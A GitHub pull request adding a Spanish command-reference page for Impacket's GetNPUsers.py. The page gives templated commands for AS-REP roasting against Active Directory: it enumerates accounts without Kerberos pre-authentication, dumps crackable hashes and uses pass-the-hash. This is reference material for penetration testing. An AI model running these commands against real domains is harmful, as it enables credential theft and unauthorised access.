Skip to content

getnpusers.py: add Spanish translation #16853

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 25 additions & 0 deletions pages.es/common/getnpusers.py.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# GetNPUsers.py

> Enumera las cuentas de Active Directory con la autenticación previa de Kerberos desactivada, que pueden ser susceptibles a ataques AS-REP roasting.
> Parte del paquete Impacket.
> Más información: <https://github.com/fortra/impacket>.

- Enumera los usuarios con la autenticación previa de Kerberos desactivada (enumeración anónima por defecto):

`GetNPUsers.py {{dominio}}/ -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}}`

- Realiza roasting AS-REP y vuelca hash descifrables para descifrados sin conexión:

`GetNPUsers.py {{dominio}}/ -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}} -request`

- Autentica con credenciales válidas (si el enlace anónimo está desactivado):

`GetNPUsers.py {{dominio}}/{{nombre_de_usuario}}:{{contraseña}} -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}}`

- Utiliza la autenticación pass-the-hash en lugar de una contraseña:

`GetNPUsers.py {{dominio}}/{{nombre_de_usuario}} -hashes {{LM_Hash}}:{{NT_Hash}} -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}}`

- Guarda la salida en un archivo para su posterior análisis:

`GetNPUsers.py {{dominio}}/ -usersfile {{ruta/a/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}} -request > {{ruta/a/salida.txt}}`